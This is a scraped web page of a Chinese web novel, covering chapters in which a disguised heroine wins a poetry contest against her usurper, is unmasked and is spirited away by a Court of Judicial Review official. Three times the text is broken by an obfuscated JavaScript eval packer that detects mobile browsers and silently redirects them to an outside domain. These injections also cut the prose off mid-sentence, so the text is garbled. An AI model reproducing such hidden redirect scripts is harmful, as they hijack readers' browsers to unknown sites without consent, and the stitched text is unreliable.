;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447439|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上生存下去的资本。 她身上散发的那股隐隐的暴戾之气,她整个人的画风好似都扭曲了一般,过于执着下去的拗感让金玉圆也觉得颇为头疼,不过碍于不愿沾染脏事的念头,她一直将魏澜清当作笑话一般看看,并不干预。 但金玉圆与其一组久了,好似也不太耐烦了,对付诗会的态度也变得敷衍起来,只想着尽快结束这场闹剧,于是加速淘汰了最后一批的贵女。 然而,魏澜清那头,似乎已经死死盯上了魏郁春,全然不在乎其他贵女的存在。 不知不觉,诗会的主场早已转移到了她跟魏郁春的身上。 二人离了席,站在花厅中央,互相对望,魏郁春眸色沉静,而对面的魏澜清眼尾上扬,眼珠里蓄满了不知名的情绪,眼白上织着隐隐约约的血丝,好似一把烈火在其中跳跃。 她在这个名为“钱雀”的女子身上,看到了越来越清晰的故人的影子…… 魏郁春在看到她变得越来越不似“自己”、暴露本性的模样后,沉静的眼中,安放了越来越多肆意的嘲弄与得意感。 谁是真的,谁是假的?她们心里都清楚。 是心虚?还是报复性的嘲弄?她们比任何人都明白自己在想什么……只是,明明什么都没有确认,那股不言而喻的感觉,就如同蓄了电的铁斧噼里啪啦地劈开她们之间厚厚的隔膜。 魏郁春承认自己根本没有必要为了完成任务,卖命到如此地步,将自己置入越来越危险的境地……可事到如今,哪有什么退路可言?早在南禺,她便承诺,有朝一日与仇敌相见,她必不会如前世那般瑟缩不止、一味追求委曲求全…… 她越来越勇敢,可到底不是冲破黑暗时将要见到黎明之光时,那充满希望的勇敢…… 她亲眼见到了自己噩梦中的人物,她没有哭,她亲耳听到了母亲惨死的讯息,她也没有哭……她甚至有些麻木了,心很痛很痛,所以会恨,恨的感觉习惯了,她才会麻木不是吗? 所以,这些勇敢到底是破釜沉舟之时难以压抑的东西罢了。她承认着生而为人时,本性上的鄙陋之处——她在泄愤。 而魏澜清好似也直接从她眼中捕捉到了那种得意,眼神迷乱之间,她的眼前幻变出了魏郁春的面容,那面容没有带着面纱,完完整整地与此时眼前“钱雀”的身影重合着。 她的眉眼与轮廓像她,她的身形与眼神像她,她的气质与才气像她……唯独那面对她时那股气势完全变了,从懦弱变成坚毅了。 那生着魏郁春脸蛋的幻影咯咯笑着,笑话她:“你顶替了我的身份,就以为自己可以夺走我的一切吗?” “你是春生才女?你是才气四溢、温情温婉的魏家大小姐?那我是什么样的人呢?” “你不是这样的人,为什么要往自己贴上这些不属于自己的标签?你要这样过一辈子吗?” “你躲在我的影子下生活,就这样一辈子吗?你不累吗?一辈子……” “你什么都不是,我会狠狠将你拆穿!让你颜面无存,让你这些努力全部毁于一旦!!!你什么都不是!你凭什么夺走我的人生,夺走我的母亲!凭什么夺走我的一切?!” 敲锣打鼓声不断,可依旧无法将魏澜清唤醒,她心底藏着个她不认可的心魔,她自以为她是个杀人不见血的高手。 可常在河边走,哪有不湿鞋? 心里的种子总有一天会发芽,一切的罪恶,从一开始就注定了必要偿还的结局。她应该比魏郁春还要深晰此道理,只可惜,她永远不会承认自己的恶。 诗会一轮又一轮地进行着,魏郁春却还是寸步不让地狠狠将魏澜清踩在脚下。她笑了,浮动的面纱下倒映出她嘴角若隐若现的弧度。 魏澜清终于不堪受辱,颤抖着伸出手指,恶狠狠地指向了魏郁春,她的眼睛瞪大,声音洪亮而凄厉,整个人步子都是虚浮癫狂的,好似一个疯婆子。她的举动将在场所有人的目光全部吸引过来了。 “你不是钱雀!你到底是谁?!” 97. 宴夺诗魁(2) 魏澜清此话一出,席中瞬间死寂,最是看重颜面、最是持重礼节的贵女们都丢下了一身架子,她们膛目结舌,一会儿望望已经卸下来伪装的魏澜清,一会儿看着面纱之下镇定自若的“钱雀”,最后抬眸远去,看着席上金玉圆小姐的眼色如何。 龚婷率先从席外赶上前来,站到魏郁春身侧,毫不犹豫地护着魏郁春,对着魏澜清吼道:“魏小姐不分青红皂白,这是说得什么话?如今虽然的确有奸细藏在其中,但肯定不会是钱小姐,你此话一出,是诗会吃了瘪下不去脸,便要造谣钱小姐,往她身上抹黑啊!哼!” 魏郁春不开口,她其实是慌的,但更多的却还是得意,毕竟她让魏澜清露出了她真实的面目了不是吗? 她仔细瞧着身侧帮忙说话的龚婷,有些感谢,但同样也感到无奈,心想,没错,她其实就是奸细,很意外吧。 敌不动我不动,魏澜清好似意识到自己的失态,顿在原地宛如石化,一直没开腔。 既然如此,魏郁春也安安静静起来,目光不但不心虚,反而装扮成委屈的模样,让众人都瞧在眼中。 本就不喜魏澜清的刘玉鱼也站了出来,鄙夷道:“龚小姐说得不错,方才钱小姐诗才出众,魏小姐看着是输不起了,如此气急败坏,有失大家闺秀之态,怎能随意往人身上乱套罪名呢?” “说得是啊!” 诸位贵女频频点头。 还有人说道:“什么奸细能有钱小姐这等才华啊?魏小姐真会说笑。” “你看她如今这副模样,张牙舞爪的,和最开始那矫揉造作的样子完全不同。” “我就说吧,魏澜清挺会装的。” “啧,都督怎么会瞧上这种人啊?” “嘘!别说悄悄话了,金小姐看过来了!” 金玉圆看着乱如一锅粥的诗会局面,她不但没有像之前一样面露严肃之色,反而挂上了玩世不恭的笑,道:“今儿宴席,当真是我办过最精彩的一场了!” “我好奇,魏小姐你是如何得出那样结论的,是有什么证据么?我是不信你当真是输不起的人。” 看似在帮魏澜清说话,实际上早在最开始就揭了她的短处。 魏澜清察究其意,也终于看清了金玉圆笑面虎的面目,这场鸿门宴上,她百口莫辩,像个罪人,立在舆论中央,被诸人口诛笔伐……可她还是在“钱雀”那双楚楚可怜的眸色中,看到了别人看不见的嘲弄和得意。 所有人都向着她!她当然得意! 她到底是何人?!为何,她总给她一种那贱人的感觉。她拼命地把自己拉出不理智的深渊,可所谓的因果报应让她根本无法释然这一切。 她不信,她不信!!! 她早已顾不上奉承金玉圆的话,而是固执己见,想要鱼死网破:“实不相瞒,酒楼奸细一事令我颇为忧心,我见席中贵女们皆是春光满面,唯有钱小姐面纱掩面,不似寻常。不如请钱小姐揭下面纱,让诸人瞧一瞧,好撇清嫌疑。我也是为了诸位好。” 龚婷瞬间瞪大了双眼,她气不过,但是脏话骂不出口,毕竟她家地位在那边,哪能公然冲撞安南都督的面子? 她拉着魏郁春,凑在她的耳边,咬牙切齿道:“知道这姓魏的不要脸,没想到这般不要脸!” 魏郁春微微一笑,在抬手安抚龚婷的间隙,也偷偷为自己抹净了额角细微的冷汗。 她终于开腔了:“小女受劣质胭脂所害一事,早在参宴前便在帖子上仔细交代过,忧心容貌受损,不敢出门见人,并非有意隐瞒容貌。小女面容溃烂已久,想要痊愈只怕还要月余时间,小女平日最看重的便是节气和尊严,要我揭下面纱,同要了我的命,有何区别?” 她将焦急时的面红,伪装成了受尽委屈后的愧颜,挤出几丝泪花来,颇为艰难,但还好有面纱帮忙遮住了面上扭曲的褶皱,别人看着泪花,只以为是她在隐忍情绪,比直接流出泪来还要惹人心疼。 龚婷讶然,也不说话了,她拉住魏郁春的手,深表同情。 刘玉鱼更是看不下去了,斥责魏澜清:“魏小姐气不过又碍于无法找人出气了么?女子之容貌,何其重要,魏小姐难道不知?你如此刁难钱小姐,居心叵测,何等无耻!” 有人拉住她,叫她莫要再多言,但也的确有很多性情纯善又直爽的女子向着她,背地里暗骂魏澜清无耻至极,以后大街上见着了必要绕着走。 但金玉圆的看法则不同,她非但不怒,反而有些气极反笑的意味,挑眉看着席下纷乱之局,暗笑良久后道:“魏小姐的担忧,我完全能理解。” “但钱小姐的难处,我也十分叹惋。” “不如这样,眼看诗会也要结束了,我们来收个尾,有始有终,如何?” 她叫起身侧的二位婆子,道:“我主动退局,将主场让给魏小姐与钱小姐,免得诸位觉着我是在护着魏小姐,如此更公平些。诗魁的位子便不按照先前的规矩定了,魏小姐与钱小姐斗诗一局,熟赢熟输,自有定数,赢者便是诗魁了。除此之外呢,若是魏小姐赢了,钱小姐就必须揭下面纱以洗嫌疑,若是钱小姐赢了,魏小姐则必须向钱小姐赔礼谢罪。” 金玉圆笑着,饱满的红面上弯着两只笑得快要眯成月牙的笑缝,兴致出奇得高。 东道主都发话了,席中诸人自然不好多说什么,她们互相传递眼神,从一开始的面面相觑,变得越来越形容自洽。 本来她们觉着金小姐提出自退诗会实属荒唐,令她们感到意外的同时,也觉得金小姐定义钱魏二女输赢的条件有些不对等,凭什么钱小姐就要揭下面纱自抛颜面,而魏澜清只需要道个不痛不痒的歉? 可很快,她们才想起来之前好几轮诗会对决里,魏小姐被钱小姐压得根本没有机会抬头。 金小姐明面上偏袒魏小姐,但实际上,她心里也比谁都清楚,魏小姐是赢不了钱小姐的,最后所有的糗都是魏小姐出,钱小姐安然无恙不说,她自己不至于成为让魏郁春丢面的罪人。好生刁钻油滑的手段。 魏澜清怏怏不乐,但事已至此,她哪里来的脸面拒绝金小姐的提议,她只好将所有的不满都发泄到“钱雀”身上,卯足了劲儿,要将她打败。 金玉圆这次根本没有给她们二人任何提出意见的机会,她先入为主,颇为骄纵,她眉开眼笑地坐在主席上,抬手命二位婆子敲锣打鼓,将诗会的落幕之局的排场都给她打起来。 “轰隆隆!请魏小姐、钱小姐出列对诗!咚咚咚!” 元老板还是那副满面油光、笑嘻嘻的模样,他很会看人眼色,这是他在生意场上混得风生水起的傍身本事。 他踱着憨态尽现的步伐,对金玉圆欠身道:“金小姐是诗会东道主,落幕之事自是要由您亲手承办,还请您出诗题。” 一阵恭维下来,金玉圆更得意了,她鬓上的玫瑰花枝乱颤,开得好似比初来时的还要旺。 她乐道:“元老板所言极是,不如,诗题便为夙愿吧?人人心中都有自己朝朝暮暮都祈盼的愿望,不知魏小姐与钱小姐心中的夙愿是何模样呢?” 诗题雅兴至极,众人皆认为,这便是今晚所有诗题之中,当之无愧的题首。 夙愿么…… 魏郁春将落在眼底下那朦胧飘渺纱影上的目光默默移开,雕梁画栋的花厅内,贵女们身上最为时兴的衣裳绘着厅内最姹紫嫣红的色彩,在她眼底迅速铺陈开来,本该是漂亮至极的画面,她却高兴不起来一点。 夙愿一词对她来说亦是如此,本该是引人遐思的美好之词,却勾不住她半点对美好未来的珍贵希冀。 她的夙愿太沉重,今日她得知母亲死去,她要成为世上最孤独的那个人了,无人能懂她,无人能为她哭,为她笑,无人能助她,无人知道她所恨之物是什么,甚至无人会知道她到底是何人了……从前,她的夙愿是,能安安静静地与母亲在阁楼里,度完虽不自由却安稳的一生,能念着自己喜欢的诗词美文,看万般风华随春夏秋冬之更迭慢慢化为灰烬,又慢慢重归复苏…… 若是再贪心些,她还想要一些朋友,希望自己也能和那些赋有雅兴的贵女们谈情说意,希望自己的才华能够得到别人的认可…… 再贪心一些,她想要离开囚笼,获得重见天日的自由。 卧看满天云不动,不知云于我俱东?她也想找到它的答案。但这些都不可能了。 现在,她好似拥有了一些曾经想要的东西,贵女们与她共作美诗,她从她们看向自己的目光里看到了欣赏,她还获得了自由身……可愿望破碎,这些都是虚假的、暂时的东西。 这一切从她死去的那一刻起,就该再也引不起她心中半点波澜了。 她想要报仇,她要让魏澜清、魏仲傅……付出代价!她的心紧巴巴地绞着,好似要拧出血泪来。 夙愿,夙愿,她要以死人之口吻,重新讲述它,再狠狠将它钉在魏澜清的心里,她会恐惧的。 她要告诉她,即便她夺走了她的一切,她也无法成为她,她永远都赢不了自己! “隆月冬庙缢芳魂,假色葬春无人问。天道又说好轮回,道是无情却有情。” 魏郁春的眼微微泛红,她凝视着愠色上脸的魏澜清,她悲伤着,可面纱下却挂着沧桑的笑,这首诗她平静地说出口,看似无甚情绪波澜,但伤色却若隐若现般沁入了在场每一个人的心里。 便是金玉圆与元老板都齐齐敛住了方才还春风得意的神色,诸人蹙着眉头,嘴角微微回瘪,心中别扭却又言不明这是怎么一回事。 金玉圆对此很感兴趣,对魏郁春问话时的语气,有着前所未有郑重之意:“不知钱小姐,此首诗与夙愿一词有何关联?” 她也是没想到,以本该与美好一词挂钩的夙愿为题,为何还能作出这般黯然伤色的句子来。她能感觉到,其中灌注了太多不为人知的故事,她敢笃定,这可不是徒有悲秋伤春之性之人附庸风雅时,才作得出来的东西。 魏澜清原本站得笔直,可现在藏在长袍下的双腿却不受控制般战栗,森然恐意似菟丝子般缠上她的脚跟,一点点向上蔓延,直到缠得她那颗黑心差点要因恐惧而停止跳动。 隆冬的夜晚,魏郁春被逼于山中荒庙自缢而亡——“隆月冬庙缢芳魂。” 魏郁春死后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447440|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,魏澜请顶替了她“春生才女”的名头,以此作为夺得关家青睐的筹码,而真正的春生才女却死得凄惨、无人问津——“假色葬春无人问。” 可后面两句是什么意思?! 什么天道好轮回?钱雀到底是何人,她一定知道些什么!她是在讽刺她如今深陷窘迫么?可那又怎么样,魏郁春那个死贱人已经死了!再窘迫,能窘迫得过她这个贱人么?! 魏澜清凶戾地回视魏郁春的目光,可她好似突然被什么东西吸走了底气,她不甘心,可腿已经打颤地根本站不起来了。在众人都没有预料到的情况下,魏澜清毫无预料地栽身倒地,花冠破碎,雍容华贵的花簪玉钗滑落发鬓,长发落地,她双目红如彤珠,眼角的泪叫人深觉骇然。 金玉圆等贵女皆被魏澜清突如其来的动静吓了一跳,可没等要唤人去搀扶她,魏郁春便开了腔,平静的语气下,带着除了魏澜清以外无人能察觉的狠厉之情:“春桃酒楼以春为名,我便以春之夙愿为题,春色将逝,夙愿又怎会仅仅拘泥于欢喜的情调之中?” 金玉圆恍然大悟,她抚掌大叹,天真地以为魏郁春是在慨叹春色逝去之悲:“竟是如此,冬去春来,故而隆冬所缢之芳魂是春魂么?” 魏郁春微微欠身,明明是心口不一,她却依旧颔首:“没错。” 元老板也跟着拍掌慨叹:“春色将逝可不对应了今日春桃诗会落幕之景么?钱小姐心思极巧,又妙语连珠,元某钦之佩之!” 金玉圆放下悲色,她连忙从主席上下来,挥手让两位婆婆过去将钱小姐请到自己面前来,她欢乐不已:“钱小姐之绝才,我万分欣赏,往后只要我有宴席要办,必是要请你来的!” 钱小姐恭维回去:“小女不敢。” 魏郁春风光大盛,旁边的贵女们纷纷眼中冒光,知道她得了金小姐的赏识,便打算近来巴结一番,可都被离魏郁春最近的龚婷拦下了,她凑在魏郁春耳边说道:“钱小姐莫要被这帮人的花言巧语骗着了,她们趋炎附势得很,见你没势,理都不理你,现在可好?你方一风光,她们便要来巴结了!” “不过,呵呵,虽然那魏澜清还没作诗,但看这金小姐的意思,是决心要将诗魁之位赏给你了!太好了,今日你不仅风光大显,还让那讨厌的魏澜清颜面尽失,待会我可要看看她要怎么跟你赔礼谢罪!” 龚婷的话雀跃不已,也撩拨得魏郁春矜持外表下那颗暴露了人之本性的恶意蠢蠢欲动,她的确想亲眼看着魏澜清这个罪人向自己匍匐倒地时的狼狈模样,她乐得嘴角迟迟放不下来,纵是本性再至纯的人,被逼到如此境地,也好似被仇恨蒙蔽双眼,成了连自己都快不认识的样子了。 宴席中,魏澜清萧索地瘫躺在地,无人在意她到底还有没有作诗,无人搀扶她,无人肯舍眼看她,她好似成了只丧家之犬。 所有人的目光里只有那万般瞩目的春桃诗魁……春桃诗魁、春生才女……她反复念叨着这两个词,心中的执念愈渐深刻。 为什么你这个贱人死了,还要阴魂不散?! 你到底是谁?! 魏澜清想要站起来,可腿脚麻痹,她根本动弹不得,她匍匐着身子,用两只手臂抓着花毯,挣扎着朝人群汹涌的花群里爬去,她仰头要去看带着面纱的女子,可未想到,那个女子早在不知何时就一直在看着她了,那眼睛里满是怨念和讥诮……她居高临下着看着她,宛如看着一个廉价的笑话。 她声音凄厉:“你到底是谁?!你不是钱雀!你不是钱雀!你这个贱人是不是回来了?!” “我的天,魏小姐怎么成了这副模样?活似刚从地狱爬出来的恶鬼!” 她好不容易将诸人的目光引来,却未想到同样引来的,是大家惊恐不已的呼叫声。 金玉圆早就料到了她会败的结局,她起初不以为然,但想着用最后一局,体体面面地送她离场,却未想到事已至此,她还要纠缠不休,当真是好不要脸的人物! 金玉圆看见她便头疼,怪她坏了自己的好心情,于是喝道:“来人,将魏小姐抬下去歇息!” 魏澜清一听,觉着天就要塌下来,她看到两个婆子靠近自己,她张开双臂挥舞,不肯就范,越来越像个不堪入目的疯子,把在场贵女们吓得简直要魂飞魄散。 她们叽叽喳喳起来,估计在提前演练事后向外传播丑闻的说辞。 就在花厅内乱作一团的时候,元老板带着一队男男女女的酒楼伙计和丫鬟,在花厅进进出出了好一阵,冷汗直飘,他叫停花厅内吵闹的声音:“诸位贵女稍安勿躁!我方得知……花厅外也有奸细,楼中我已派人搜查,发现此奸细竟然早就潜入了花厅之中。那奸细身手了得,行踪谨慎,怕是厅中藏了他的内应!” “什么?!”金玉圆也讶然了,“奸细竟不止一人?!” 这下好了,喧嚣的花厅更热闹了。 待金玉圆一声令下:“稍安勿躁!” 贵女们才稍微安神一些。 魏郁春站定在人群之中,心神不宁。 莫非是庞小曲的身份被人发现了?!既说是潜入了花厅……那她到底在哪儿呢?! 98. 一波多折 元老板又一声令下,花厅外涌进来一大群身高体壮的汉子。 他们手里挥舞着闪着锃亮光泽的铁剑,目光凌厉,听着元老板的指挥,将花厅门口堵住,又仔仔细细在偌大的花厅里小心寻觅蛛丝马迹,唯恐漏掉任何一处奸细留下的线索。 在此之前,元老板还带进来过一大批丫鬟伙计,他们跟贵女们一样,都被汉子们的架势吓得手脚颤抖,可奈何无法对抗元老板的命令,他们只能呆在原地待命。 “都给我将诸位小姐照顾好了!”元老板再三强调。 丫鬟伙计们呜呜咽咽地点头,他们像无头的苍蝇一样在花厅里乱窜,纷纷拥到诸位贵女身侧,各自找一位贵女,张开手臂,将她们护在身后。 汉子们舞着刀剑,在花厅里踩着沉重的步子,震得厅内贵女脚底下的地板都在嗡嗡晃动。 最得稳住局势的金玉圆也候不下去了,她攥紧衣裙,拧眉交代:“元老板,倘若我们任何一位贵女出事,拿你试问!” 元老板被吓得冷汗飘飘然,他搓着袖子擦脸连连应“是”。 魏郁春扎在混乱的人群里,被焦急的气氛感染到,她不自然地像四周张望,心中暗道不妙。 若是庞小曲暴露了,牵连到她便坏了,但她也不确信这对她来说到底算不算好事,因为她和庞小曲是同类,对方的动作也许能帮她引走注意力,这不失为保住同伴的办法。 可一切尘埃未定,庞小曲又一直没与自己接上线,她如何暴露的,又如何藏得住身的,魏郁春一概不知。所以她不可能不慌乱。 众人都在忙活自己的事情,魏澜清无人管顾,还瘫在地上苦苦哀嚎,她的哀嚎声纵使再凄厉,都被厅内的喧嚣声盖住了大半。 她好似将魏郁春当作了眼中钉肉中刺,纵使厅内人潮拥杂,她的目光都无法从她身上移开半分,身子也慢慢爬向她。 “你是何人……你是何人!” 魏郁春绝望闭眼,似乎已经听得厌烦了。 这一切给本就心乱的她造成了更多困扰。她苦苦寻觅,终于在伙计、丫鬟、汉子、元老板这样的大锅炖里看到了熟悉的面庞。一个长得颇具男人相的、身着统一丫鬟服饰的高壮女子,正混在一帮丫鬟群里,装模作样地听着命令护着身后的贵女。 是庞小曲?! 本以为是她率先找到了她,但在魏郁春的目光都聚焦到她身上的时候,她才意识到庞小曲眸中暗含的深沉心机,貌似更快一步注意到她。人头攒动,好不容易捕捉到了庞小曲的目光,在一瞬间失焦,等眼前人流散到他处,庞小曲的身影却消失了。 一阵快风不知从何方袭来,强劲得厉害,并且明显是针对魏郁春的。 魏郁春根本就来不及反应这一切,她脸上的面纱就被风刮卷到不知那里去了。她定睛一看,才发现是一卷笺纸在方才从她耳侧飞过去了,所以这才引来了一大阵风过来。 一大卷笺纸落地,“噗通”一声,花厅哗然声顷刻安静,众人的目光都被吸引过来。 魏郁春连忙侧头过去,用手臂遮住暴露在外的面容,可她还是没来得及阻止什么,她的面容生得太过有特色,旁人只消瞥一眼便能立马判断出来——她不是钱雀! 席内虽没有与钱雀分外交好的女子,但有过一面之缘的少则两三个。两个贵女尖叫起来,声音尖利,轰得人耳膜都要鼓炸。 “她不是钱雀!她是假扮的!” “我以前见过钱雀一面,根本不长这样!” 就算未曾见过钱雀的贵女,也分明看到了魏郁春面上光洁姣好的皮肤,哪里有什么烂脸的迹象?! 金玉圆膛目结舌。而一直帮忙说话的龚婷也怔住了:“你居然真的是奸细?!” 元老板大惊,忙挥人过去:“抓住她!” 魏澜清也看到了魏郁春面纱下的容貌,根本不是那贱人!她一时呆愣,说不出话来,口中疯疯癫癫地呢喃道:“我以为你是那个贱人!我以为你是她!” 后来听到诸人又说她也不是钱雀的时候,魏澜清又突然懵懵懂懂地笑起来:“我就知道她不是钱雀,我就知道!哈哈哈哈哈哈!!!” 闹局在魏澜清情绪饱满的哀嚎声和嬉闹声中越搅越乱,精彩纷呈。 整个花厅好似成了一处移步换景的宝地,几步一走,便能看到与众不同的画面,而每个人的表情都值得细究。 这一切发生得离奇而突然,魏郁春无处可逃,在诸人看她时惊恐万分的目光里,她只能竭尽全力将自己的面孔藏在衣袖后。元老板的人手冲过来,而她身后是一处墙,无路可去了,在她茫然的时刻,一只温热的大手自墙边一只花窗伸出来,抓住了她的手腕,她的力气抵抗不过他,一只手被抓过去,身子也往窗上倾斜,直到两只手都被神秘人攥紧,整个人都被揪了出去。 花厅中灯烛融融的视觉光晕猝然消失,外头午时甚好的晴光倾泻而下,魏郁春一时无法适应,眼睛被刺得发疼。 好不容易适应光亮后,她发现自己正身处于熟悉的室外花园里——二楼的空中花园,一时间意识迷幻,还以为自己在做梦。直到她发现衔接室内和花园的原来不仅又一扇扇屏风,还有墙壁上的几扇花窗。花窗里头的空间竟就是举办酒宴和诗会的花厅。魏郁春才发现其中的蹊跷。 她被庞小曲牢牢攥着。 凑得这么近,她才直观地感受到对方身材比远看还要结实。 庞小曲一心带着她逃跑,四处观望周遭情况,从空中花园辗转几遭,找到能直接跳下外部楼梯的地方。她只留了个侧脸给魏郁春。 庞小曲脸上施了粉黛,但实在是粗糙,好似整张脸都泡在了面粉里一样,层层叠叠,一耸动都能抖落簌簌的余粉来,她好似压根不会粉面,那眉毛描得像两条大黑蛆,口脂涂得溢出去很多,把人中都涂没了,发髻编得也歪歪斜斜,衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏郁春被庞小曲攥着,迅速从外置的楼梯向下踅去,穿过一片又一片的封顶廊庑,在吵闹的追逐声中跑出残影。春桃酒楼向来热闹,这自底层建到顶楼的华美旋梯,每日每夜不知要被多少名士贵族踏足多少遍,路过此街的百姓们皆已习以为常,他们听到了楼梯上踢踢踏踏、吵吵嚷嚷闹作一团的声响,不但不忧不惊,反而挑眉戏谑:“你瞧啊,今儿这春桃酒楼里不知住着何等尊客呢!竟是这般热闹呀!” 魏郁春与庞小曲飞快踏入车水马龙的街道内,浑水摸鱼,好似与其中人物融为一体。 眼看要离开春桃酒楼的地界,魏郁春才觉得有些不对劲。 关阇彦虽然说庞小曲是她在酒楼中的接应人,却没说酒宴事后,庞小曲要跟自己还要完成什么任务,还有要去什么除了春桃酒楼以外的地方…… 关阇彦心思如黑水般沉,他若不多余交代,便意味着,他自己也没有这等安排的打算。 即便事出突然,比起外面他更不熟悉的地方,反而春桃酒楼更保险,毕竟最危险的地方才是最安全的地方不是吗? 她应该留在酒楼才是。 魏郁春看着庞小曲颇具目的性的前行动作,还有翻开衣领下半遮半掩的凸显出来的喉结……她心中的不安感越来越强烈,她冒着风头,问话:“庞小曲,你要带我去哪里?” 99. 如意冰玉(1) 庞小曲对她的话不以为意,活似根本没有听到一般。她绕进一间巷子里,顺手撩手在自己的衣襟处一扯,把外面包裹身子的丫鬟服饰一把扯落,她信手将衣物丢到巷外,不想正对着一个卖着糖葫芦的商贩,他手上扶着木桩。 后面追在街上的汉子门遥遥一望,看到桩子上挂着的衣服,立马擦亮眼睛大叫:“走!她们在那儿!” 商贩刚刚还在跟身侧的人打趣玩笑,一撇头看到桩上插着的各色糖葫芦被一件来历不明的衣服糊住,登时崩溃大叫:“哪里来的衣服!哪里来的脏衣服!啊啊啊!!!” 此时,魏郁春已经被庞小曲带到了巷子深处的拐角,朝另外一个方向折走。 庞小曲方才扯掉衣服时,动作吓得魏郁春立马闭眼,即便对方是女子,她却还是下意识地秉承着非礼勿视的规矩。 但再度睁眼后,她发现庞小曲瞬间换了一副装扮,她的发髻也被自己扯下来了,一头乌黑的发披散在脑后,被丢去的丫鬟衣饰下居然还有一套玄色的单衣。 单衣勾勒着她棱角分明的肌肉线条,脖子间的喉结十分突出。 她哪里是什么春桃酒楼的丫鬟?!分明是个男人! 他不是庞小曲! 不详的预感终于将魏郁春吞没,她用力扯手,却还是挣脱不了对方的手劲,不自量力下,她的手腕只会不断传来阵阵酸胀的痛感。 她喘着粗息,拧眉试问:“你到底是何人?!真正的庞小曲到底在哪里?!” 男人似乎是个很恪守礼节的人,他察觉到自己已经将魏郁春的纤细手腕弄疼了,他终于不再当个哑巴,他没有转头,在自己格外熟悉的巷子里不断穿梭,一边奔波一边道:“姑娘,不必害怕,我只是在救你。” 男人的声线沉静得可怕,虽不温和,但的确不会给人带来威胁感,他好似是真心想要救人。 周遭的场景变化得厉害,一会儿摆满商摊、彩楼林立的繁华街市,一会儿是唯有垂髫小儿玩着躲猫猫游戏的邻家小巷,一会儿是杳无人烟的阴冷废院群……男人早已算定了要到达的目的地,在确保安全的一座阴冷院子前,他慢慢缓下步子,也松开了攥紧魏郁春手腕的手。 他转过头来,第一件做的事情居然是向魏郁春行礼赔罪:“事出突然,在下不得已对姑娘行出越矩之事,实属抱歉,待事成后,我必带礼上门谢罪。” 魏郁春根本听不进去他的话,她只知道自己形单影只,一旦出事,必会插翅难飞,她在男人说话间,立马转身向四周观望。 结果这个鬼地方好似是封闭的,唯一的一个能看到外头光景的出口,不知何时又踱步出来一个身穿常服的年轻少年,那少年神色复杂地盯着她跟假扮庞小曲的男人看,身子则堵在那里,不肯动弹。魏郁春咬咬牙,自知无法逃离,回过神来,只好将计就计。 她盯着脸上浓墨重彩的男人,笔直着脊背,垂着首不说话,恭着的手还迟迟不放下,颇有君子之仪,好似她一刻不接纳他的歉意,他就一刻不肯放下手正常讲话。 一番无声的僵持下来,魏郁春心中动摇了。 她的直觉好似在告诉他,面前的男人颇有诚意,不像要对她做什么的人,竟让她差点忘记了不久前酒楼风波的闹剧。 她还算清醒,打算先搞清楚现在的情况,于是主动问道:“既是谢罪,也该真心实意一点。你到底是何人?为什么要假扮庞小曲潜入酒楼,最后还要绑走我?” 男人抬起首来,方说出几个字来:“在下名为陶明案……” 结果这种关头,他们身后正堵在小出口、常服短马尾的少年郎噗哈哈笑出来,脸上憋得通红,看得出来,他已经憋笑很久了。 “哈哈哈!”少年郎笑得眼睛哗啦啦地流着泪,恨不得当场拍腹仰地大闹一通,“陶司直,你你你要不先进屋里把脸洗干净了再说吧!哈哈哈!我实在不知要怎么面对你了!” 陶司直?大理寺的人?! 魏郁春莫名眨了眨眼,感觉事情已经往离奇的方向发展了,并且一去不复返,她何时与大理寺的人扯上了关系? 奇怪归奇怪,她心里却有了底,既是大理寺的司直,那便不可能是会伤害自己的人了,缺失的安全感被弥补回来,她的气色也好转了起来,姿态更是镇定多了。 但她刚从春桃酒楼逃出生天,难以避免脑中的浑浑噩噩,心中百感交集却无空缓解,她只好把注意力都放在当前的事上,表面功夫装得也是足够像样,至少不可让别人低看了她,觉得她好拿捏,届时身份暴露一事牵扯到杜明堂与关阇彦,麻烦就大了。 短短时间内,她自有考量。 她看到陶司直被那个少年郎嘲弄了一番,他却叹息一声,非但不恼,还招呼那少年一起跟着他跨门入院。 年久失修的木门挂满了蛛网,院内杂草疯长,拦住了诸人部分视线,远远仅可见一间正对大门的寝屋还算正常,虽谈不上多干净,但起码像个活人能待的地方。魏郁春刚以为,此地是一处陶司直为了隐蔽谈话,而随意找的一处荒废宅子。 结果少年开口的话,却令她惊讶了。 “陶司直,您这是多久没回家看看了?这草都长成这样了,地也不扫扫呀!” 魏郁春看着走在前头的陶明案笔直如山的背影,难以将此处荒芜破败的院子与他君子的模样联系起来,但事实便是,这处屋子的确就是他的家。 京城的官员,多么努力上进才能咬上的香饽饽,即便官职再小,几年下来,敛下的钱财也少不了,至少足够他住上一个地界稍好又整洁的院子了。 